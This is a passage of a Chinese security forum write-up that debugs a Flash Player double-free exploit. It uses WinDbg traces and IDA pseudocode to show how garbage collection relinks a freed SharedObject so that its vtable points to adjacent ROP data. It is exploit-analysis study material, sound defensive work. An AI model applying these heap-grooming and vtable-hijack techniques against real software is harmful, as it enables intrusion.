0:020> ba w4 02aa41c0
0:020> g
Breakpoint 3 hit
eax=032f2020 ebx=00000000 ecx=02aa41c0 edx=02ad6610 esi=02aa41c0 edi=02aa41c0
eip=1010311d esp=03a4f8d8 ebp=03bf6a80 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
Flash32_11_7_700_261+0x10311d:
1010311d e8effeffff      call    Flash32_11_7_700_261+0x103011 (10103011)
0:020> g
Breakpoint 3 hit
eax=02aa41c0 ebx=7c809832 ecx=10f42c78 edx=02aa4290 esi=02aa4000 edi=00000000
eip=105ab619 esp=03a4f8d0 ebp=10f42c78 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69da9:
105ab619 0fb74e10        movzx   ecx,word ptr [esi+10h]   ds:0023:02aa4010=0003
0:020> dd 02aa41c0
02aa41c0  02aa4290 00000000 0369a000 00000000
02aa41d0  00000000 00000000 00000000 00000000
02aa41e0  00000000 00000000 00000000 00000000
02aa41f0  00000000 00000000 00000000 00000000
02aa4200  00000000 00000000 00000000 00000000
02aa4210  00000000 00000000 00000000 00000000
02aa4220  00000000 00000000 00000000 00000000
02aa4230  00000000 00000000 00000000 00000000

第二次中断的时候02aa41c0处的数据修改为了02aa4290,而且record对象已经完成了析构

 

看一下此时的函数调用流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:020> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
03a4f8e4 1014bc76 0334d308 03bf6a80 0368a7ac Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69da9
03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261+0x14bc76
03a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x7505f
03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe8d74
03a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261+0x35c09
03a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261+0xe3933
03a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xf479d
03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xb6339
03a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261+0xb68ff
03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101196
03a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815
03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
03a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a  // 02aa41c0第一次出现在这里
03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261+0xfe0fd
03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261+0x15e803
03a4fb80 10210e84 0368a000 10210ebc 03a4ff18 Flash32_11_7_700_261!DllUnregisterServer+0x1db9f
03a4fb88 10210ebc 03a4ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer+0x1e18b
03a4fb90 1003c391 00000001 0369a000 032f2020 Flash32_11_7_700_261!DllUnregisterServer+0x1e1c3
03a4ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261+0x3c391

这里需要注意一下这些函数调用时的参数,回顾之前的分析,ecx对象的地址是02aa41c0。看一下02aa41c0第一次出现时的返回地址是102e0063,在IDA中找到这个地址,该地址所在函数的伪代码是:

1
2
3
4
5
6
7
void *__thiscall deconstruct(void *this, char a2)
{
  sub_102DFF85();
  if ( (a2 & 1) != 0 )
    operator delete(this);
  return this;
}

到这里其实有点卡住了,从上面的代码可以看出这里在执行一些和释放相关的操作,也是在这个过程中修改了record对象的虚函数表指针。

 

但是为什么刚好就修改了虚函数表指针,为什么修改之后的数值刚好是ROP所在的位置,现在仍然不清楚。

 

停下来思考一下,隐约记得之前看0day安全的时候看到过针对C++虚函数表指针的漏洞利用方法,虽然细节记不大清除了,但是大概和变量之间的物理位置也有一些关系。在回过头来看一下cc.swf反编译得到的代码:

1
2
3
4
5
6
7
8
9
// 漏洞利用准备
gen_exp();   // 在这里构造record对象
 
// 根据不同系统构造不同rop
if(sys == 7) {
    rop = gen_rop3();  // 然后在这里构造ROP
    rop.toString();
}
...

我在想这样的代码顺序是否和漏洞利用有关,这完全是瞎猜的,但是为我后面的分析方向提供了思路。

 

根据以上所有的分析过程,有下面的结论:

  • 程序第一次中断在第5个断点的时候,应该是在构造record对象,或者至少是在执行gen_exp()中的相关操作(后面调试发现是后者);
  • (后面调试发现这么想是错误的);
  • 之后程序开始构造ROP,ROP相关数据位于02aa4290的位置;
  • 之后程序执行terminate(),会再次尝试析构,此时会导致双重释放;
  • 函数deconstruct(102E005B)和析构应该有关系

根据上面的这些结论,我想要在一切开始之前:在02aa4290下一个写断点,检查ROP的构造情况;在函数deconstruct下个断点,确定析构的发生;在02aa41c0添加写断点,观察record对象的构造情况。

 

以上,重新回到第一次中断在10101810的时候,检查02aa4290,发现这里还没有ROP的数据,所以从这里开始设置相应断点。

  1. 第一次中断在10101810

    02aa4290中不存在ROP数据,record对象(02aa41c0)中无数据

    设置相应断点:

    1
    2
    3
    4
    5
    6
    0:000> bl
     ~~0 e 76b5d038     0001 (00010:**** WINMM!midiOutPlayNextPolyEvent~~
     1 e 10101810     0001 (00010:**** Flash32_11_7_700_261+0x101810    // 调用rop_func
     2 e 02aa4294 w 4 0001 (00010:****   // 监控ROP数据写入
     3 e 102e005b     0001 (00010:**** Flash32_11_7_700_261!DllUnregisterServer+0xed362  // deconstruct函数
     4 e 02aa41c0 w 4 0001 (00010:****  // record对象
  2. 继续执行,在断点4中断四次,第五次中断时,02aa41c0处写入了一个四字节数据(不是10c3d06c),同时在对之后的空间进行清空:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    0:020> g
    Breakpoint 4 hit
    eax=02aa41c0 ebx=00000000 ecx=02aa41c0 edx=00000000 esi=02aa41c0 edi=03b4f354
    eip=100fd33a esp=03b4f0ec ebp=03b4f0f4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    Flash32_11_7_700_261+0xfd33a:
    100fd33a 895e0c          mov     dword ptr [esi+0Ch],ebx ds:0023:02aa41cc=00000000
    0:020> uf eip
    Flash32_11_7_700_261+0xfd340:
    100fd340 895e14          mov     dword ptr [esi+14h],ebx
    100fd343 895e18          mov     dword ptr [esi+18h],ebx
    100fd346 895e1c          mov     dword ptr [esi+1Ch],ebx
    100fd349 895e20          mov     dword ptr [esi+20h],ebx
    100fd34c 895e24          mov     dword ptr [esi+24h],ebx
    100fd34f 895e28          mov     dword ptr [esi+28h],ebx
    100fd352 895e2c          mov     dword ptr [esi+2Ch],ebx
    100fd355 895e30          mov     dword ptr [esi+30h],ebx
    ...

    检查此时的函数调用流程:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    0:020> kb
    ChildEBP RetAddr  Args to Child             
    WARNING: Stack unwind information not available. Following frames may be wrong.
    03b4f0f4 102dff6f 03259000 03a32c38 102dffea Flash32_11_7_700_261+0xfd33a
    03b4f29c 10252aa5 02a55bd0 10101917 0388d080 Flash32_11_7_700_261!DllUnregisterServer+0xed276
    03b4f2ec 10283de5 03b4f388 00000000 0388d080 Flash32_11_7_700_261!DllUnregisterServer+0x5fdac
    03b4f318 102e0fea 03b4f388 10101917 03a32c38 Flash32_11_7_700_261!DllUnregisterServer+0x910ec
    03b4f378 102907b9 03a32c38 03a32a80 03a32c3e Flash32_11_7_700_261!DllUnregisterServer+0xee2f1
    03b4f4e0 1069036a 03c92ee0 00000000 03b4f54c Flash32_11_7_700_261!DllUnregisterServer+0x9dac0
    03b4f4e4 03c92ee0 00000000 03b4f54c 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x14eafa
    03b4f4e8 00000000 03b4f54c 00000000 03b4f4bc 0x3c92ee0

    在IDA中检查各个返回地址所在函数,在第四个返回地址102e0fea所在函数中,看到了下面的伪代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ...
    if ( sub_1013FB10(v36) == 2 )
    {
      v8 = (_DWORD *)sub_102D7F84(v33);
      v9 = (int *)sub_1022C395(*v8);
      v10 = *(_DWORD *)(v7 + 28);
      v35 = *v9;
      v34 = sub_10610370(v10, 22);
      v11 = sub_1013FB40(v6);
      v27 = sub_106119B0(v11);
      v26 = sub_106119B0("SharedObject.getLocal");
      v12 = sub_106119B0(v35);
      sub_106104D0(2146, v12, v26, v27);
    }
     ...

    所以合理猜测这里就是在执行var sobj:SharedObject = SharedObject.getLocal("record");语句,并为record对象的数据准备空间。

    继续执行,又在第4个断点中断了一次,此时写入了正确的数值10c3d06c

  3. 继续执行,在断点2中断两次,第三次中断时,02aa4290处写入了ROP相关数据

    1
    2
    3
    4
    5
    6
    7
    0:020> g
    Breakpoint 2 hit
    eax=03cd20cc ebx=02aa4290 ecx=00000031 edx=00000000 esi=03cd2008 edi=02aa4298
    eip=107b42da esp=03a4f390 ebp=03a4f398 iopl=0         nv up ei pl nz ac pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
    Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x272a6a:
    107b42da f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:02aa4298=0063006f ds:0023:03cd2008=77bf18d3
  4. 继续执行,第二次中断在10101810

  5. 继续执行,中断在第3个断点,此时执行和析构相关操作,此时record对象还未被清空。因为在上面的伪代码中,发现这个函数中包含了delete操作,因此此时开始单步,看一下record对象的清空操作。

    1. 程序中断在第4个断点,record对象被修改,但是不是清空操作(后来发现在第3个断点后,必然会有一次record对象被修改的操作,两个断点会连着中断)
    2. 程序第三次中断在10101810(因为下面包含了嵌套,所以说明接下来的第3个断点中断位于rop_func中)
    3. 程序中断在第3个断点

      1. 程序中断在第4个断点
      2. 程序第四次中断在10101810(这里就是之前提到的那个嵌套)
      3. 接下来会有大段的跳出,为了加快步骤,在第3个断点后面的条件判断语句处添加一个断点(0:020> bp 102e0068),然后直接继续执行。
      4. 程序中断在第4个断点

        1
        2
        3
        4
        5
        6
        7
        0:020> g
        Breakpoint 4 hit
        eax=033f2020 ebx=00000000 ecx=02aa41c0 edx=02ad6610 esi=02aa41c0 edi=02aa41c0
        eip=1010311d esp=03b4f8d8 ebp=03cf2a80 iopl=0         nv up ei ng nz na pe cy
        cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
        Flash32_11_7_700_261+0x10311d:
        1010311d e8effeffff      call    Flash32_11_7_700_261+0x103011 (10103011)

        这里接下来的一段代码都是对this指针处数据的处理,我单步了一下,果然发现这个函数就是在对record对象处的数据进行清空,把这个函数叫做clear_object,整个函数执行完后:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        0:020> p
        eax=00000001 ebx=00000000 ecx=02a60e60 edx=00000000 esi=02aa41c0 edi=02aa41c0
        eip=1006631d esp=03b4f8dc ebp=03cf2a80 iopl=0         nv up ei pl zr na pe nc
        cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
        Flash32_11_7_700_261+0x6631d:
        1006631d c3              ret
        0:020> dd 02aa41c0
        02aa41c0  10b9e9b8 00000000 02c4a000 00000000
        02aa41d0  00000000 00000000 00000000 00000000
        02aa41e0  00000000 00000000 00000000 00000000
        02aa41f0  00000000 00000000 00000000 00000000
        02aa4200  00000000 00000000 00000000 00000000
        02aa4210  00000000 00000000 00000000 00000000
        02aa4220  00000000 00000000 00000000 00000000
        02aa4230  00000000 00000000 00000000 00000000
      5. 程序中断在第5个断点,到达外层步骤c对应的条件判断语句处,直接跳转,没有到达delete语句。

    4. 程序中断在第4个断点,record对象的虚函数表指针被修改成了02aa4290。即本小节一开始提到的位置。把这个函数叫做change_vtable
    5. 继续执行,到达ROP

以上步骤进行一个整理:

1
2
3
4
5
6
7
8
9
- 生成record对象
- 生成ROP
- deconstruct ->
    - rop_func ->
        - deconstruct ->
            - rop_func ->
            - clear_object -> 这里释放了record对象空间
        - 修改record对象的虚函数表指针
        - 转入rop中执行

我在分析到这里的时候卡住了,因为我不理解这种deconstruct的嵌套是怎么出现的,尝试了以下几种方法:

  1. 考虑到actionscript代码使用了多线程的方法,所以考虑上面调试过程中到达每个断点时,是否都处于同一线程中,因此重新回到之前的快照又走了一遍整个流程,同时使用~.命令查看当前线程,发现除了第一次中断在10101810的时候,其余时刻都处于同一线程中;
  2. 根据上面的步骤整理,rop_func中发生了很多我不清楚的事,最终导致了第二次deconstruct的发生。按照我一开始对于发生两次flush的时机的理解(2.3.3小结中划掉的部分),我不太明白为什么会发生这样的嵌套,但是根据参考资料3,我知道这里发生了垃圾回收。于是我在IDA中跟踪了一下发生第二次deconstruct时的函数调用流程,结果发现在函数sub_1014C1BD(second_flush)中,deconstructchange_vtable先后被调用:

    1
    2
    3
    4
    if ( v11(record_obj) == a2 || record_obj[0x2E] == a2 ) {
      (**record_obj)(record_obj, 0);          // deconstruct
      change_vtable(dword_10F428A0, record_obj);
    }

    同时在外层函数中,发现了函数调用:sub_105B1590(*a1, "[mem] DRC reaped %u objects (%u kb) freeing %u pages (%u kb) in %.2f millis (%.4f s)\n", ArgList);

    推测这里应该在做垃圾回收了;

  3. 上网搜索资料,找到了参考资料4,对2.3.3小结重新进行了一些补充,理解了上面的步骤整理中为什么deconstruct会嵌套出现;

到此为止我已经明白了两次flush发生的背景以及先后关系,正如2.3.3小结中介绍的那样,通过调试的方式证明了这个流程。

 

但是现在仍旧不清楚为什么record对象的虚函数表指针会被修改成ROP的地址。

3.3.2 change_vtable的真面目

在IDA中查看change_vtable函数代码:

1
2
3
v3 = object & 0xFFFFF000;
...
*object = *v3;                        // 修改虚函数表指针

不知道为什么和0xFFFFF000有一个与操作。

 

后来绕了一些弯路才发现clear_object也会调用change_vtable函数(大概就是在IDA中按照函数调用流程追踪的时候发现的),这次回到第一次中断在deconstruct函数的时候,同时在clear_object上下断点,检查这个函数的功能。

 

最终当函数在clear_object中断的时候,还是到达了清除object中内容的时候。先观察一下IDA中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __usercall clear_object(_DWORD *this@<ecx>, int a2@<edi>)
{
  *this = &off_10B9E9B8;
  write_data(this, a2);
  clear(this + 35); 
  clear(this + 30);  // 下面的几个偏移都是3
  clear(this + 27);
  clear(this + 24);
  clear(this + 21);
  clear(this + 18);
  clear(this + 15);
  clear(this + 12);
  clear(this + 9);
  clear(this + 6);
  clear(this + 3);
}

这里的this指针指向的就是record对象。函数调用中,只有第一个函数调用不一样,在write_data的伪代码中,发现了v5 = sub_10131B80("data");语句,所以猜测可能和数据写入本地有关系。

 

接下来关注this指针的偏移,除了第一个偏移是5之外,其余偏移都是3,我们在windbg中检查一下这些位置的值

1
2
3
4
5
6
7
8
9
10
11
12
13
02aa41c0 10c3d06c 00000000 02c4a000
02aa41cc 02a60e60 0000001c 0000001d  // +0C
02aa41d8 02a55bd8 00000006 00000007  // +18
02aa41e4 00000000 00000000 00000000  // +24
02aa41f0 00000000 00000000 00000000  // +30
02aa41fc 02a97290 00000067 00000068  // +3C
02aa4208 02a5eca0 0000007f 00000080  // +48
02aa4214 00000000 00000000 00000000  // +54
02aa4220 02a7b4f0 00000055 00000056  // +60
02aa422c 02b013a0 0000006d 0000006e  // +6C
02aa4238 00000000 00000000 00000000  // +78
02aa4244 00000000 00000000 02a60e80  // +8C
02aa4250 0000001b 0000001c 02acf1b0

看起来这几个位置都存储了和this对象相关的其他对象,以及8字节的其他数据。

 

clear函数中:

1
2
3
4
5
6
7
8
void __thiscall clear(_DWORD *this)
{
  if ( *this && *this != &unk_10B72E08 )
    link_in(*this);
  *this = 0;
  this[1] = 0;
  this[2] = 0;
}

会清除这些对象指针以及之后的8字节数据。

 

目前为止已经弄清楚了clear_object是怎么清除record对象数据的。接下来看一下clear函数中的link_in函数是干什么的。

1
2
3
4
5
void __cdecl link_in(unsigned int a1)
{
  if ( a1 )
    change_vtable(dword_10F428A0, a1);
}

link_in函数调用了change_vtable

 

我们在windbg中步进,看一下change_vtable究竟干了什么。

 

因为我之前调试过一遍,所以选择比较方便说明的偏移0x6C位置的对象02b013a0,进一步步入分析:

 

change_vtable函数中,程序首先做了如下计算:

1
2
3
4
5
6
0:020> p
eax=02b013a0 ebx=00000000 ecx=10f428b8 edx=02b013a0 esi=02b013a0 edi=02b013a0
eip=105ab57a esp=03b4f8b0 ebp=03cf2a80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69d0a:
105ab57a 81e600f0ffff    and     esi,0FFFFF000h

得到esi的值为02b01000,也就是对02b013a0对象做了一个4096字节的对齐,定位到了页首的位置。

 

接下来有一些取值和函数调用,目前不知道什么意思,直接跳过,一直到达未来会对vtable指针进行修改的位置,看一下这块的指令:

1
2
3
4
5
105ab611 8b442414        mov     eax,dword ptr [esp+14h// ss:0023:03b4f8c4=02b013a0
105ab615 8b16            mov     edx,dword ptr [esi]      // ds:0023:02b01000=02b01410
105ab617 8910            mov     dword ptr [eax],edx
...
105ab61d 8906            mov     dword ptr [esi],eax

对应的伪代码:

1
2
*object = *object_align;
*object_align = object;

一开始我的关注点一直在修改vtable指针上面,所以没有意识到上面代码的功能。在调试的时候才发现,这不就是在进行链表的插入操作吗?

 

执行上述代码之前:

1
2
3
4
5
6
0:020> dd 2b01000 l8
02b01000  02b01410 02b01640 00000000 00000000
02b01010  00700009 00000000 00000000 10f42aec
0:020> dd 2b013a0 l8
02b013a0  442f3a43 6d75636f 73746e65 646e6120
02b013b0  74655320 676e6974 65742f73 412f7473

执行之后:

1
2
3
4
5
6
0:020> dd 2b01000 l8
02b01000  02b013a0 02b01640 00000000 00000000
02b01010  00700008 00000000 00000000 10f42aec
0:020> dd 2b013a0 l8
02b013a0  02b01410 6d75636f 73746e65 646e6120
02b013b0  74655320 676e6974 65742f73 412f7473

相当于将object插入到了object_align之后。

 

类比堆结构中的空闲双向链表结构,我猜测在每页的页首位置有32个字节的数据存储了空闲链表的表头结点数据(如果这里真的是个链表的话),其中首四个字节指向下一个节点,其余位置的数据功能并不清楚。其中最后四个字节10f42aec处的数据如下,也可以看到和当前页链表有关的一些信息:

1
2
3
4
0:020> dd 10f42aec la
10f42aec  10f428b0 00000024 00000070 02b01000
10f42afc  02b01000 02b01000 00000001 0000121e
10f42b0c  00000001 00000000

如果从2b01000开始追踪首四个字节的话,可以得到如下地址列表,可以看到地址是逐渐增大的:

1
02b01000 -> 02b013a0 -> 02b01410 -> 02b01480 -> 02b014f0 -> 02b01560 -> 02b015d0 -> 00000000

继续单步下去,会重复上述步骤,并最终将record对象中数据清空。

 

所以实际上change_vtable就是做了一个链表链入的操作。

4. 终极目标:漏洞利用原理分析

我们在此回顾一下漏洞利用流程(做了一些补充):

1
2
3
4
5
6
7
8
9
10
|- 生成record对象,所在地址:2aa41c0
|- 生成ROP,所在地址:02aa4290
|- deconstruct(第一次flush操作)
|    |- rop_func
|    |    |- 垃圾回收(第二次flush操作)
|    |    |    |- deconstruct (释放了record对象空间)
|    |    |    |    - rop_func
|    |    |    |    - clear_object
|    |    |    |- 链表链入(修改record对象的虚函数表指针)
|    |    |- 继续第一次flush操作(调用record虚函数,导致转入rop中执行)

在第一次flush执行过程中,发生了垃圾回收,由于flush判断机制存在问题,程序判断record对象需要进行flush,于是释放了对象所在空间,并将其链入空闲链表中,这一操作导致record对象的虚函数表指针被修改。

 

有一点需要注意,就是reocord对象和ROP byteArray对象所在的地址非常接近,实际上两者应该是相邻的(所以AS代码中gen_expgen_rop的位置真的是有意义的)。在最终terminate的时候,两个对象都会被垃圾回收,ROP所在地址大于record对象所在地址,所以最后链入链表的时候record在ROP前面,record对象所在空间的前四个字节(即虚函数指针所在位置)就会被被修改成ROP对象空间地址。

 

之后继续进行第一次的flush操作,此时程序以为record对象尚未被释放,因此会继续使用其虚函数,致使程序转入ROP中执行。

 

至此,完成了对该漏洞利用原理的分析。

5. 总结

此次分析过程中遇到了两大问题:

  1. Action Script语法,worker和sharedObject的概念,flush操作以及垃圾回收的发生时机问题。此问题通过官方手册以及多篇分析文章得到了解决;
  2. Flash的底层数据结构以及对于空闲空间的处理方法。此问题通过问题1中获得的参考资料以及后期的逐步调试最终得到了一个猜测性质的结论,并和最终的漏洞利用结果形成了完整闭环。

有以下收获:

  1. kb函数调用流程 + IDA追踪的方式真的很有用,而且一定要记得及时对已知函数进行重命名,哪怕是像change_vtable这样完全没有体现出函数功能的名字(^_^)
  2. 要注意内存中数据的变化,关注一下具体的数值,可以在notepad里面做一下记录,有时候重复数据的出现会带来很大收获
  3. 我在调试的时候还通过设置大量断点的方式确定了整个漏洞利用的流程。其实我设置的方法是比较傻瓜的,但是如果位置确定的好,这种多断点调试的方法会有很大帮助。

6. 参考资料

  1. ActionScript® 3.0 Reference for the Adobe® Flash® Platform
  2. Inscription: Thwarting ActionScript Web Attacks From Within
  3. Deep analysis of CVE-2014-0502 — a double free story
  4. Understanding Garbage Collection in AS3

【公告】看雪团队招聘安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

收藏
点赞3
打赏
分享
最新回复 (2)
雪    币: 14285
活跃值: 活跃值 (11739)
能力值: (RANK:720 )
在线值:
发帖
回帖
粉丝
有毒 活跃值 10 2021-10-14 15:59
2
0
加油!
雪    币: 1129
活跃值: 活跃值 (858)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
wuxiwudi 活跃值 2021-10-14 16:10
3
0
感觉像是uaf
游客
登录 | 注册 方可回帖
返回